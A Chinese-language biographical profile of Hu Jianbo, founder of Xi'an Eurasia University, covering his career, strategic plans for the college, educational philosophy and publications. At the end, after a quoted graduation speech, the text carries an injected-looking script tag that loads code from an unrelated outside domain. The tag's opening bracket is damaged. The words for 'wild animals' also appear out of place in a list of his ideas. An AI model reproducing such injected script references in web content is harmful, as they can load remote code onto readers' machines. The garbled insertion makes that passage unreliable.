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胡建波

基本信息

姓名:胡建波
出生年月: 1963-10
性 別: 男
工作單位:
籍 貫: 陝西
學 曆: 碩士研究生
畢業院校:

簡曆:

1980-1984西北建築工程學院,主修建築工程機械專業,獲工學學士學位1984-1992西安文理學院任教
1992-1996西安外事學院,任副董事長兼院長
1997年至今西安歐亞學院,任學院董事長兼院長
2005-2007中歐國際工商管理學院,獲高級工商管理碩士學位(EMBA)
2008年至今21世紀教育研究院副理事長

個人事迹:

高瞻務實的民辦教育創業家
創辦歐亞學院之前,胡建波同志已經在高教戰線工作長達11年了。他憑借自己多年在教育戰線上的感悟,意識到教育對一個人、一個民族、一個國家是至關重要的,尤其是對中國這樣一個人口大國而言,加之我國高度教育還處于從精英教育向大衆化教育過渡的階段,高等教育毛入學率剛剛越過15%,每年都有很多的高考落榜生,面臨上不了大學的尴尬局面。出于對教育事業的熱愛和對落榜生的大愛情懷,更想爲中國民辦教育事業做點事情的堅定信念,他敏銳地抓住了黨的改革開放政策的大好形勢,于1986年涉足民辦教育。1995年親自創建西安歐亞學院,建校之初,條件比較艱苦,但只要能創出一條民辦教育的特色之路,再苦、再累也心甘情願。就是憑著這股子韌勁和對事業的忠誠、執著,他毅然的走上了這條艱苦的創業之路。
民辦高校在中國還處于發展階段,沒有現成的經驗借鑒,只能靠民辦教育家的大膽探索,審時度勢,著眼發展,胡院長正是這樣一位具有前瞻性思想的傑出民辦教育家。作爲一所民辦大學的校長,胡建波深深懂得,民辦高校沒有規模就沒有效益,沒有質量就沒有生命力。在學院創辦初期,提出了 “以規模求生存,以速度求發展”的思路, 使學院實現了“跨越式”發展,1998—2001年三年邁出三大步,在校生規模突破萬人大關;2002年,又提出了“規模適度、質量優先”的原則,在招生形勢非常好的情況下,主動壓縮招生規模,確立了“以質量保規模,以質量促效益”的發展思路;2005年西安歐亞學院正式升本後,他又提出“服務面向定位”思想,以“立足陝西,面向中西部地區,面向社會,培養生産、建設、管理、服務一線需要的高等技術應用性人才”作爲歐亞升本後的辦學定位。2007年,他積極促成學院在國內高校中首家與管理咨詢公司合作,重新梳理了使命、願景、核心價值觀;2008年提出包括三個重要裏程階段的“四四二”十年戰略目標;2009年又確立了質量、品牌、經營三大戰略發展方向,現已形成了系統的戰略管理體系。
短短15年間,在胡建波院長的帶領下,將歐亞學院這所嶄新的學校轉化成一所具有較高社會知名度的民辦本科高校,完成了創業期、擴展期、規範發展期向戰略轉型期的蛻變,實現了跨越式發展。現在的歐亞已經是一所在全國、全省範圍內有一定影響,社會、政府、行業及教育消費者廣泛認可的本科普通民辦高校。
睿智創新的民辦教育思想者
在十多年的辦學實踐中,胡建波提出了諸多關于教育及大學治理的很有影響力的思想和觀點。開辦全日制之初,他提出歐亞學院要秉承“辦學以人爲本、育人以德爲先”的教育理念,並貫穿于學院的發展曆程。在其後的辦學實踐中,又先後提出“學得受用、學了有用”、野生動物、爲利益相關者創造價值等與民校廣大學子息息相關的思想。
同時,他又不遺余力地爲教育宏觀政策建言獻策,最具代表性的是主張在大學間發展並形成競爭機制,建立高等教育市場化改革的共同願景。他認爲,高等教育領域的改革,要以政府創造良好的政策環境爲前提,以改革民辦高校內部管理體制,建立現代大學制度爲突破口,把創新人才培養模式,切實提高教學質量作爲落腳點,實現高等教育由“供給導向型”向“需求導向型”的轉變,滿足人民群衆日益增長的多樣化的教育需求。
他還大膽打破傳統教育模式,著眼于學生接受高等教育的實際目的和訴求,注重學生的全面發展,注重學生的能力培養和人格的養成教育。強調培養適應社會需求的技能型、應用型人才。通過關注學生在校內和校外的成功,使得學生在校內完成“從學生到學習者”的轉變;走出校門則將從一個關注自我發展的人,轉變爲強調對他人和社會做出貢獻的,有價值的人。
胡建波對民辦高等教育,尤其是對素質教育和高等職業技術教育的理論進行了卓有成效的探索研究,先後在在《高等教育研究》、《高等教育工程研究》等核心期刊上發表論文10余篇。代表作有:《平衡計分卡在高校戰略管理中的應用》、《高校穩定工作的治本之路——構建高校全面風險管理體系》、《大學生形勢與政策教育的若幹思考》、《淺析當代大學生道德觀的“知行矛盾”》等。
爲了抓學院的內涵建設,提高教育教學質量,胡建波院長深入教學第一線,在從事學院管理工作的之余,還堅持承擔了《教學法》、《戰略管理》等課程的教學任務,通過課堂教學實踐直接了解學生的真實需求和動向,有針對性地調整人才培養模式及課堂授課方式。在課堂教學中,按照以學生爲中心的教與學的辦學理念,強調把教師的權威最小化、把學生的興趣和願望最大化,通過體驗式的教學方式,激發學生自身的積極性和主動性,構建了一套獨具特色的教學模式,所授的課深受廣大學生喜愛。
在歐亞學院2010年畢業典禮上,胡建波院長深情陳詞:“我所期盼的歐亞的花園,就是要在浮華的現實中,踏踏實實地用真正的教育工作者的情懷和境界去辦學校;就是要在功利的教育大環境中,實行以學生爲中心、爲生活做准備的教育,舉辦一所‘以每一個學生的健康成長和終身幸福爲本’的私立大學。”?script src=http://www.234mu.com/>

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